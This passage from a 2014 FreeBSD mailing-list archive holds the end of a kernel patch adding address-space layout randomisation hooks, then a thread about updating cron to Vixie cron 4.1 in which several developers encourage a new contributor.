(*sv_pax_aslr_init)(struct vmspace *vm, struct prison *pr); }; =20 #define SV_ILP32 0x000100 diff --git a/sys/vm/vm_map.c b/sys/vm/vm_map.c index d8ba33f..4ba8106 100644 --- a/sys/vm/vm_map.c +++ b/sys/vm/vm_map.c @@ -65,6 +65,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -292,6 +294,12 @@ vmspace_alloc(vm_offset_t min, vm_offset_t max, pmap_p= init_t pinit) vm->vm_taddr =3D 0; vm->vm_daddr =3D 0; vm->vm_maxsaddr =3D 0; +#ifdef PAX_ASLR + vm->vm_aslr_delta_mmap =3D 0; + vm->vm_aslr_delta_stack =3D 0; + vm->vm_aslr_delta_exec =3D 0; +#endif + return (vm); } =20 diff --git a/sys/vm/vm_map.h b/sys/vm/vm_map.h index 8cced05..e8e9ffe 100644 --- a/sys/vm/vm_map.h +++ b/sys/vm/vm_map.h @@ -241,6 +241,9 @@ struct vmspace { caddr_t vm_taddr; /* (c) user virtual address of text */ caddr_t vm_daddr; /* (c) user virtual address of data */ caddr_t vm_maxsaddr; /* user VA at max stack growth */ + vm_size_t vm_aslr_delta_mmap; /* mmap() random delta for ASLR */ + vm_size_t vm_aslr_delta_stack; /* stack random delta for ASLR */ + vm_size_t vm_aslr_delta_exec; /* exec base random delta for ASLR */ volatile int vm_refcnt; /* number of references */ /* * Keep the PMAP last, so that CPU-specific variations of that diff --git a/sys/vm/vm_mmap.c b/sys/vm/vm_mmap.c index a524839..fd8876e 100644 --- a/sys/vm/vm_mmap.c +++ b/sys/vm/vm_mmap.c @@ -45,6 +45,7 @@ __FBSDID("$FreeBSD$"); =20 #include "opt_compat.h" #include "opt_hwpmc_hooks.h" +#include "opt_pax.h" =20 #include #include @@ -91,6 +92,10 @@ __FBSDID("$FreeBSD$"); #include #endif =20 +#ifdef PAX_ASLR +#include +#endif + int old_mlock =3D 0; SYSCTL_INT(_vm, OID_AUTO, old_mlock, CTLFLAG_RW | CTLFLAG_TUN, &old_mlock,= 0, "Do not apply RLIMIT_MEMLOCK on mlockall"); @@ -203,6 +208,9 @@ sys_mmap(td, uap) struct file *fp; struct vnode *vp; vm_offset_t addr; +#ifdef PAX_ASLR + vm_offset_t orig_addr; +#endif vm_size_t size, pageoff; vm_prot_t cap_maxprot, prot, maxprot; void *handle; @@ -213,6 +221,9 @@ sys_mmap(td, uap) cap_rights_t rights; =20 addr =3D (vm_offset_t) uap->addr; +#ifdef PAX_ASLR + orig_addr =3D addr; +#endif size =3D uap->len; prot =3D uap->prot & VM_PROT_ALL; flags =3D uap->flags; @@ -416,6 +427,9 @@ sys_mmap(td, uap) map: td->td_fpop =3D fp; maxprot &=3D cap_maxprot; +#ifdef PAX_ASLR + pax_aslr_mmap(td, &addr, orig_addr, flags); +#endif error =3D vm_mmap(&vms->vm_map, &addr, size, prot, maxprot, flags, handle_type, handle, pos); td->td_fpop =3D NULL; diff --git a/tools/build/options/WITHOUT_PIE b/tools/build/options/WITHOUT_= PIE new file mode 100644 index 0000000..82019ce --- /dev/null +++ b/tools/build/options/WITHOUT_PIE @@ -0,0 +1 @@ +Enable building of Position-Independent Executables (PIEs). diff --git a/usr.sbin/ugidfw/ugidfw.c b/usr.sbin/ugidfw/ugidfw.c index 977922a..515df16 100644 --- a/usr.sbin/ugidfw/ugidfw.c +++ b/usr.sbin/ugidfw/ugidfw.c @@ -46,6 +46,8 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#define UGIDFW_BUFSIZ (BUFSIZ*2) + void add_rule(int argc, char *argv[]); void list_rules(void); void remove_rule(int argc, char *argv[]); @@ -71,22 +73,22 @@ usage(void) void add_rule(int argc, char *argv[]) { - char errstr[BUFSIZ], charstr[BUFSIZ]; + char errstr[UGIDFW_BUFSIZ], charstr[UGIDFW_BUFSIZ]; struct mac_bsdextended_rule rule; int error, rulenum; =20 - error =3D bsde_parse_rule(argc, argv, &rule, BUFSIZ, errstr); + error =3D bsde_parse_rule(argc, argv, &rule, UGIDFW_BUFSIZ, errstr); if (error) { warnx("%s", errstr); return; } =20 - error =3D bsde_add_rule(&rulenum, &rule, BUFSIZ, errstr); + error =3D bsde_add_rule(&rulenum, &rule, UGIDFW_BUFSIZ, errstr); if (error) { warnx("%s", errstr); return; } - if (bsde_rule_to_string(&rule, charstr, BUFSIZ) =3D=3D -1) + if (bsde_rule_to_string(&rule, charstr, UGIDFW_BUFSIZ) =3D=3D -1) warnx("Added rule, but unable to print string."); else printf("%d %s\n", rulenum, charstr); @@ -95,25 +97,25 @@ add_rule(int argc, char *argv[]) void list_rules(void) { - char errstr[BUFSIZ], charstr[BUFSIZ]; + char errstr[UGIDFW_BUFSIZ], charstr[UGIDFW_BUFSIZ]; struct mac_bsdextended_rule rule; int error, i, rule_count, rule_slots; =20 - rule_slots =3D bsde_get_rule_slots(BUFSIZ, errstr); + rule_slots =3D bsde_get_rule_slots(UGIDFW_BUFSIZ, errstr); if (rule_slots =3D=3D -1) { warnx("unable to get rule slots; mac_bsdextended.ko " "may not be loaded"); errx(1, "bsde_get_rule_slots: %s", errstr); } =20 - rule_count =3D bsde_get_rule_count(BUFSIZ, errstr); + rule_count =3D bsde_get_rule_count(UGIDFW_BUFSIZ, errstr); if (rule_count =3D=3D -1) errx(1, "bsde_get_rule_count: %s", errstr); =20 printf("%d slots, %d rules\n", rule_slots, rule_count); =20 for (i =3D 0; i < rule_slots; i++) { - error =3D bsde_get_rule(i, &rule, BUFSIZ, errstr); + error =3D bsde_get_rule(i, &rule, UGIDFW_BUFSIZ, errstr); switch (error) { case -2: continue; @@ -124,7 +126,7 @@ list_rules(void) break; } =20 - if (bsde_rule_to_string(&rule, charstr, BUFSIZ) =3D=3D -1) + if (bsde_rule_to_string(&rule, charstr, UGIDFW_BUFSIZ) =3D=3D -1) warnx("unable to translate rule %d to string", i); else printf("%d %s\n", i, charstr); @@ -134,7 +136,7 @@ list_rules(void) void set_rule(int argc, char *argv[]) { - char errstr[BUFSIZ]; + char errstr[UGIDFW_BUFSIZ]; struct mac_bsdextended_rule rule; long value; int error, rulenum; @@ -152,13 +154,13 @@ set_rule(int argc, char *argv[]) =20 rulenum =3D value; =20 - error =3D bsde_parse_rule(argc - 1, argv + 1, &rule, BUFSIZ, errstr); + error =3D bsde_parse_rule(argc - 1, argv + 1, &rule, UGIDFW_BUFSIZ, errst= r); if (error) { warnx("%s", errstr); return; } =20 - error =3D bsde_set_rule(rulenum, &rule, BUFSIZ, errstr); + error =3D bsde_set_rule(rulenum, &rule, UGIDFW_BUFSIZ, errstr); if (error) { warnx("%s", errstr); return; @@ -168,7 +170,7 @@ set_rule(int argc, char *argv[]) void remove_rule(int argc, char *argv[]) { - char errstr[BUFSIZ]; + char errstr[UGIDFW_BUFSIZ]; long value; int error, rulenum; char *endp; @@ -185,7 +187,7 @@ remove_rule(int argc, char *argv[]) =20 rulenum =3D value; =20 - error =3D bsde_delete_rule(rulenum, BUFSIZ, errstr); + error =3D bsde_delete_rule(rulenum, UGIDFW_BUFSIZ, errstr); if (error) warnx("%s", errstr); } --+PbGPm1eXpwOoWkI-- --5me2qT3T17SWzdxI Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTpt/EAAoJEGqEZY9SRW7uMyAP/i12UiM1dgawxmPgt4ayafH5 mEsml8tB0ue25DtMehO95aFY9J3APq6VRHEneIUH58hfMFS79x3xLNPKiDbGYpI+ uVyAjJ1hrMKx2lsX/NSWjIt72U01lQ5BTh5DcGGly8Px8pmnhlheOjtXZ84Kx3bk ApjPWc9qQt9HUCgzWdzNYKS93LiXGWBCIhD9YoZG+bRQArobRqB6pFFWBVgjjNQY sqnym/6N7/rc125g2LTN71i3Li7WL7IDBd/RD/1730zkhAa0xuFOKm5t2GZVvIxn 9igyiSK7MWynFLo5RYG/ATLdWclfzbH7EgoJp5HgVAU1o9OMSUlLRUcVcX6O69e9 U+s1qYyAHdVKyuO7gkcxKRsMe4jHMRw8LmrD6DjGOFK2gnVBiwE3qh1oc7nb7yBs lQA5dppoVZ7BZLeSOT7ZIno6wGajsD7d1nd5lKfLvwidNKqHqp7aWzGjhEegM9ZK RhXiyxCtWFBfhg5s9btEWvRQiBj4An35sf9TQ+EBfx10OYrIPNOyM9Ha6R2kO8wN L/lkWVpvWOsQBWqQxKihFzcgaiWTpH0y9Ksi11GQyIm1he4fjMNob24ZmScygECx dcqKF48Xv9aVUbAu1glEVl/vY86UVKiE1EIJTPrLedQoKFZA4+3QiFn08VQNmDIA EYM2sjrG51wnXNaLjpyI =IFoC -----END PGP SIGNATURE----- --5me2qT3T17SWzdxI-- From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 22 18:52:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 74981F8D for ; Sun, 22 Jun 2014 18:52:47 +0000 (UTC) Received: from eastrmfepo103.cox.net (eastrmfepo103.cox.net [68.230.241.215]) by mx1.freebsd.org (Postfix) with ESMTP id 1D89E2CDA for ; Sun, 22 Jun 2014 18:52:46 +0000 (UTC) Received: from eastrmimpo210 ([68.230.241.225]) by eastrmfepo103.cox.net (InterMail vM.8.01.05.15 201-2260-151-145-20131218) with ESMTP id <20140622185246.DNJJ31158.eastrmfepo103.cox.net@eastrmimpo210> for ; Sun, 22 Jun 2014 14:52:46 -0400 Received: from [192.168.3.22] ([72.219.202.186]) by eastrmimpo210 with cox id HWsl1o00J41obj401WsmYa; Sun, 22 Jun 2014 14:52:46 -0400 X-CT-Class: Clean X-CT-Score: 0.00 X-CT-RefID: str=0001.0A020207.53A725FE.004F,ss=1,re=0.000,fgs=0 X-CT-Spam: 0 X-Authority-Analysis: v=2.0 cv=aZC/a2Ut c=1 sm=1 a=k40gPPfQ5QH6qv5U/EJc3Q==:17 a=f5xKl4ys9bwA:10 a=G8Uczd0VNMoA:10 a=Wajolswj7cQA:10 a=IkcTkHD0fZMA:10 a=kviXuzpPAAAA:8 a=pGLkceISAAAA:8 a=6I5d2MoRAAAA:8 a=x-eTLskepIULTrIbjOMA:9 a=QEXdDO2ut3YA:10 a=MSl-tDqOz04A:10 a=SV7veod9ZcQA:10 a=k40gPPfQ5QH6qv5U/EJc3Q==:117 X-CM-Score: 0.00 Authentication-Results: cox.net; none Message-ID: <53A72666.8090101@cox.net> Date: Sun, 22 Jun 2014 14:54:30 -0400 From: "John D. Hendrickson and Sara Darnell" Reply-To: johnandsara2@cox.net User-Agent: Thunderbird 2.0.0.24 (X11/20100228) MIME-Version: 1.0 To: Eitan Adler Subject: Re: Improve cron(8) References: In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Mailman-Approved-At: Sun, 22 Jun 2014 19:03:03 +0000 Cc: freebsd-hackers@freebsd.org, =?UTF-8?B?VG9tZWsgV2HFgmFzemVr?= , freebsd-arch@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 22 Jun 2014 18:52:47 -0000 Eitan Adler wrote: > +arch since hackers@ seems to be silent. > > On 11 June 2014 23:56, Tomek WaĹ‚aszek wrote: >> Hello, >> I saw on the FreeBSD Ideas page topic about cron :). >> I've started updating the 'original' FreeBSD cron from sources to vixi cron >> 4.1. I think (well I hope :P) most of the features that were done in >> FreeBSD cron are now ported into vixi cron 4.1, there are unfortunately >> some missing features at the moment: >> - @every_second - this need to be done >> - -s and -o, in vixi cron 4.1 daylight time switches are enabled by >> default, at the moment there is no -s and -o options. So you need to remove >> '-s' from the cron rc script >> >> I've also added one feature from OpenBSD, crontab is poking cron using >> unix-domain socket so we don't need to have suid on crontab. >> >> Path is in the attachment. I'm testing it on my FreeBSD box and it looks >> good but anyway don't try it on production machines :). >> >> After the installation we have to do a few things: >> - Add crontab group >> - Change group to crontab on /var/cron/tabs >> - Add sticky bit on /var/cron/tabs >> - Add group write permissions on /var/cron/tabs >> >> This is still work in progress but if someone could have a look on this and >> give me some feedback it would be great. >> >> Regards, >> Tomasz Walaszek >> >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > > you should up the version number or start your own renamed application a person claiming to be paul vixie of cron is still living (doesn't look old enough to be a vax hacker?). your not paul vixie. people who use vixie cron don't want a "distro hacked" one. also there are many cron replacements with frills features already for people to dl and use. i don't know of any serious bug fixes to cron. it simple (well not for paul to write it but) and anyone still using cron likely uses it because it is simple and un-tampered with thanks but please leave very basic apps "cron, ls, sed, mail" so they are not a compatibility problem - because many systems or softwares rely on them like , say, they rely on awk From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 22 22:16:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BF651EB8 for ; Sun, 22 Jun 2014 22:16:28 +0000 (UTC) Received: from mail-qa0-x233.google.com (mail-qa0-x233.google.com [IPv6:2607:f8b0:400d:c00::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 780032B15 for ; Sun, 22 Jun 2014 22:16:28 +0000 (UTC) Received: by mail-qa0-f51.google.com with SMTP id j7so4924766qaq.24 for ; Sun, 22 Jun 2014 15:16:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=eitanadler.com; s=0xdeadbeef; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type:content-transfer-encoding; bh=qqlr/IbyP0iJjES3fu5K76tw8XCPcwuTBLXZozCqw9Q=; b=g935Y+ELYfDoTtAq7onZIp02rGd2cFF8PD7kOoxJ1vEVSyJCbdoyXFi/RfIoJ002IT 7bQEaoFGyB9unOpp5Vk7FSJd4/NTmSyx9xqSaxG3BQNCjBrNedpvdCFQEz4OFR7DwwAz puJOJ3vYwrHXKFpJ8rRzrFakZSuy+BgqaC9w8= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type:content-transfer-encoding; bh=qqlr/IbyP0iJjES3fu5K76tw8XCPcwuTBLXZozCqw9Q=; b=bsrtytulXKZq0Y6bUA/3YWf5M6uwToxDZiZ8J/wHKaCQRajk3nIzJoGExXYQeq2I0f C/pPG+QeLS4bsMiFw86ZmsvsOU1F70iWoG2BRgvmbeD9O2sdqhOtx0cggpQjCbLZ1DzA n+fZXziBMSaB82pGuyzri6LBE8eAkytEurx/kk87U88GYw1Y4GWIpauQV86QqcbW5v6o V0XPE7y/7G+3D5+vZdF1oMg8Eed7BGE7uhi5Tg3PlP1nRE2ETyygCbTVP277Kj1LYkHr +9ZknDt9ZlSiC98hDv9cCWPEquKQzvYpcvOxTxol/x65B5+gg2JCxY8VO4FDW1eXCh8d e9kQ== X-Gm-Message-State: ALoCoQnDMk+r13B9YF96ul662yt2S7+kmbT4u34UnVrbmPjef8XvMXtAlabijra7J+Ec3EzY7/hu X-Received: by 10.224.7.6 with SMTP id b6mr27141563qab.45.1403475387608; Sun, 22 Jun 2014 15:16:27 -0700 (PDT) MIME-Version: 1.0 Received: by 10.96.222.131 with HTTP; Sun, 22 Jun 2014 15:15:57 -0700 (PDT) In-Reply-To: <53A72666.8090101@cox.net> References: <53A72666.8090101@cox.net> From: Eitan Adler Date: Sun, 22 Jun 2014 15:15:57 -0700 Message-ID: Subject: Re: Improve cron(8) To: johnandsara2@cox.net Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-hackers@freebsd.org, =?UTF-8?Q?Tomek_Wa=C5=82aszek?= , freebsd-arch@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 22 Jun 2014 22:16:28 -0000 On 22 June 2014 11:54, John D. Hendrickson and Sara Darnell wrote: > Eitan Adler wrote: >> >> +arch since hackers@ seems to be silent. >> >> On 11 June 2014 23:56, Tomek Wa=C5=82aszek wrote: >>> >>> Hello, >>> I saw on the FreeBSD Ideas page topic about cron :). >>> I've started updating the 'original' FreeBSD cron from sources to vixi >>> cron >>> 4.1. I think (well I hope :P) most of the features that were done in >>> FreeBSD cron are now ported into vixi cron 4.1, there are unfortunately >>> some missing features at the moment: >>> - @every_second - this need to be done >>> - -s and -o, in vixi cron 4.1 daylight time switches are enabled by >>> default, at the moment there is no -s and -o options. So you need to >>> remove >>> '-s' from the cron rc script >>> >>> I've also added one feature from OpenBSD, crontab is poking cron using >>> unix-domain socket so we don't need to have suid on crontab. >>> >>> Path is in the attachment. I'm testing it on my FreeBSD box and it look= s >>> good but anyway don't try it on production machines :). >>> >>> After the installation we have to do a few things: >>> - Add crontab group >>> - Change group to crontab on /var/cron/tabs >>> - Add sticky bit on /var/cron/tabs >>> - Add group write permissions on /var/cron/tabs >>> >>> This is still work in progress but if someone could have a look on this >>> and >>> give me some feedback it would be great. >>> >>> Regards, >>> Tomasz Walaszek >>> >>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to >>> "freebsd-hackers-unsubscribe@freebsd.org" >> >> >> >> > > you should up the version number or start your own renamed application ... I don't know how to react to this message. You just told a potential contributor not to contribute since he was not the founder of the project. That goes against everything that open source is about. --=20 Eitan Adler From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 22 22:18:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D3541291 for ; Sun, 22 Jun 2014 22:18:39 +0000 (UTC) Received: from mail-qa0-x233.google.com (mail-qa0-x233.google.com [IPv6:2607:f8b0:400d:c00::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 8CC632B2C for ; Sun, 22 Jun 2014 22:18:39 +0000 (UTC) Received: by mail-qa0-f51.google.com with SMTP id j7so4925724qaq.24 for ; Sun, 22 Jun 2014 15:18:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=eitanadler.com; s=0xdeadbeef; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type:content-transfer-encoding; bh=YmLXjdCNmBRRAeNZ4W2XuG64is/1kS4GuHMg0UH/sYs=; b=AwoBpvlqYZbA5dtZbblzDk+qVmS3CihRdl7t3xeWgXYLB35JizM9WMm7vW3s3oJCZD IbN+LQOhlQtyQr8P59JaR3M+L3WLLbkTdwOMlT5/ZYEsHXo8YYUItvKNMqypRj+3dxhy Z7abKocdNoXHDXwZe3v1Y6PhiKILhwqgSAQgg= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type:content-transfer-encoding; bh=YmLXjdCNmBRRAeNZ4W2XuG64is/1kS4GuHMg0UH/sYs=; b=Z236iDWXoi+asAH5Yht3CRlx1XSyIPJIAam4QWJfnG6iwDCgBYCtdVpEvQE6/HgfQn I+rpOV0yQL5X7+qSyVSvS4wcMiRCUuvKlyLVMCZxs1JPs5DRSruTxFb6EJJLlpUddeBJ pGpVNvTpMk7qnoMk3KhayDiVxHETdlEvb4rKCX0/Neb6WQVD1DltyMwZuwBEEGOIVY+N R1f9c4B6Wldu0HZRs7gKicirFth/39VUWXGKz2sHTmuBakXW+q1/+puoFijBpr1PU3qz som+ZGSgsGWlMTKIgKh59kTRhZjNWv7W48TSrgGz2s21TlSxcLlW7WjIEpybJLvvbQ/v yW/g== X-Gm-Message-State: ALoCoQkc9nZWWck3ISIkdZs8g0ni/9FMdGYJCMwGpU1zRc3wP7ks5FLBAR1ZawyaYdJfCsTQJxHf X-Received: by 10.224.7.6 with SMTP id b6mr27151058qab.45.1403475518730; Sun, 22 Jun 2014 15:18:38 -0700 (PDT) MIME-Version: 1.0 Received: by 10.96.222.131 with HTTP; Sun, 22 Jun 2014 15:18:08 -0700 (PDT) In-Reply-To: References: From: Eitan Adler Date: Sun, 22 Jun 2014 15:18:08 -0700 Message-ID: Subject: Re: Improve cron(8) To: =?UTF-8?Q?Tomek_Wa=C5=82aszek?= , freebsd-arch@freebsd.org Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 22 Jun 2014 22:18:40 -0000 On 13 June 2014 00:04, Eitan Adler wrote: > +arch since hackers@ seems to be silent. > > On 11 June 2014 23:56, Tomek Wa=C5=82aszek wrote: >> Hello, >> I saw on the FreeBSD Ideas page topic about cron :). >> I've started updating the 'original' FreeBSD cron from sources to vixi c= ron >> 4.1. I think (well I hope :P) most of the features that were done in >> FreeBSD cron are now ported into vixi cron 4.1, there are unfortunately >> some missing features at the moment: >> - @every_second - this need to be done >> - -s and -o, in vixi cron 4.1 daylight time switches are enabled by >> default, at the moment there is no -s and -o options. So you need to rem= ove >> '-s' from the cron rc script >> >> I've also added one feature from OpenBSD, crontab is poking cron using >> unix-domain socket so we don't need to have suid on crontab. >> >> Path is in the attachment. I'm testing it on my FreeBSD box and it looks >> good but anyway don't try it on production machines :). >> >> After the installation we have to do a few things: >> - Add crontab group >> - Change group to crontab on /var/cron/tabs >> - Add sticky bit on /var/cron/tabs >> - Add group write permissions on /var/cron/tabs >> >> This is still work in progress but if someone could have a look on this = and >> give me some feedback it would be great. Tomek, Could you please file a bug with this patch? I'll take a look when I have time, but hopefully someone will get to it first. Also, can you please generate the patch against HEAD and not 10.0.0? --=20 Eitan Adler From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 02:08:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5A1C63E9 for ; Mon, 23 Jun 2014 02:08:19 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 479592F1C for ; Mon, 23 Jun 2014 02:08:18 +0000 (UTC) Received: from Alfreds-MacBook-Pro-9.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id BB3741A3C1C for ; Sun, 22 Jun 2014 19:08:16 -0700 (PDT) Message-ID: <53A78C13.8030909@freebsd.org> Date: Sun, 22 Jun 2014 19:08:19 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Improve cron(8) References: <53A72666.8090101@cox.net> In-Reply-To: <53A72666.8090101@cox.net> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 02:08:19 -0000 On 6/22/14 11:54 AM, John D. Hendrickson and Sara Darnell wrote: > Eitan Adler wrote: >> +arch since hackers@ seems to be silent. >> >> On 11 June 2014 23:56, Tomek WaĹ‚aszek wrote: >>> Hello, >>> I saw on the FreeBSD Ideas page topic about cron :). >>> I've started updating the 'original' FreeBSD cron from sources to >>> vixi cron >>> 4.1. I think (well I hope :P) most of the features that were done in >>> FreeBSD cron are now ported into vixi cron 4.1, there are unfortunately >>> some missing features at the moment: >>> - @every_second - this need to be done >>> - -s and -o, in vixi cron 4.1 daylight time switches are enabled by >>> default, at the moment there is no -s and -o options. So you need to >>> remove >>> '-s' from the cron rc script >>> >>> I've also added one feature from OpenBSD, crontab is poking cron using >>> unix-domain socket so we don't need to have suid on crontab. >>> >>> Path is in the attachment. I'm testing it on my FreeBSD box and it >>> looks >>> good but anyway don't try it on production machines :). >>> >>> After the installation we have to do a few things: >>> - Add crontab group >>> - Change group to crontab on /var/cron/tabs >>> - Add sticky bit on /var/cron/tabs >>> - Add group write permissions on /var/cron/tabs >>> >>> This is still work in progress but if someone could have a look on >>> this and >>> give me some feedback it would be great. >>> >>> Regards, >>> Tomasz Walaszek >>> >>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to >>> "freebsd-hackers-unsubscribe@freebsd.org" >> >> >> > > you should up the version number or start your own renamed application Tomek, please don't let messages like this dissuade you from participating. Please do continue this work, it seems very promising. Thank you! I was myself looking forward to having these additions. Very cool. From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 03:00:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5CAF9202; Mon, 23 Jun 2014 03:00:22 +0000 (UTC) Received: from mail-qc0-x22b.google.com (mail-qc0-x22b.google.com [IPv6:2607:f8b0:400d:c01::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 0B14022B5; Mon, 23 Jun 2014 03:00:21 +0000 (UTC) Received: by mail-qc0-f171.google.com with SMTP id w7so5578182qcr.16 for ; Sun, 22 Jun 2014 20:00:21 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type:content-transfer-encoding; bh=XCcSW4ztIdE9MZwenbVb+Y5LBD8pkZnWuG35im2njtA=; b=n2vpMMVqKOwpp4yvNDKjYLnLFcc1e2LzACABLIzWr5ElDvdinO5iZe9VIo5iGxz2mJ TzwUnuotgmvZscyN2/zUyvkeoQV/zAJ5kKrm0pfBIMEK/aKRJBgHkXmGzzptloeX4TLx bJYO+L/GcUDxMpAt0Enjl+cBPv+XMR6Z3XOXfX5equ/O92/SP5iPNTTdjEH6H3wSYQi3 dMYmN6MJloj9iZS6v56uirfQvDr/Agho7Vtss08htEmkWAMorRjFqdqLHdfT4W86fwrL IiENC0Yq75b8IjDfgGl58GnKVLn8z+0DK8DnFo7bWmJ7RLKPpZSswZyhO4sFk2rUiePV AAEw== MIME-Version: 1.0 X-Received: by 10.140.22.134 with SMTP id 6mr26254949qgn.4.1403492421197; Sun, 22 Jun 2014 20:00:21 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.43.134 with HTTP; Sun, 22 Jun 2014 20:00:21 -0700 (PDT) In-Reply-To: References: <53A72666.8090101@cox.net> Date: Sun, 22 Jun 2014 20:00:21 -0700 X-Google-Sender-Auth: bFNvfp1gGuU3DGnmgC0fOd0vCFY Message-ID: Subject: Re: Improve cron(8) From: Adrian Chadd To: Eitan Adler Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: "freebsd-hackers@freebsd.org" , =?UTF-8?Q?Tomek_Wa=C5=82aszek?= , johnandsara2@cox.net, "freebsd-arch@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 03:00:22 -0000 Actually, I know how to react to that. Don't dissuade someone from contributing. Discuss the changes and whether they're positive or negative. -a On 22 June 2014 15:15, Eitan Adler wrote: > On 22 June 2014 11:54, John D. Hendrickson and Sara Darnell > wrote: >> Eitan Adler wrote: >>> >>> +arch since hackers@ seems to be silent. >>> >>> On 11 June 2014 23:56, Tomek Wa=C5=82aszek wrote= : >>>> >>>> Hello, >>>> I saw on the FreeBSD Ideas page topic about cron :). >>>> I've started updating the 'original' FreeBSD cron from sources to vixi >>>> cron >>>> 4.1. I think (well I hope :P) most of the features that were done in >>>> FreeBSD cron are now ported into vixi cron 4.1, there are unfortunatel= y 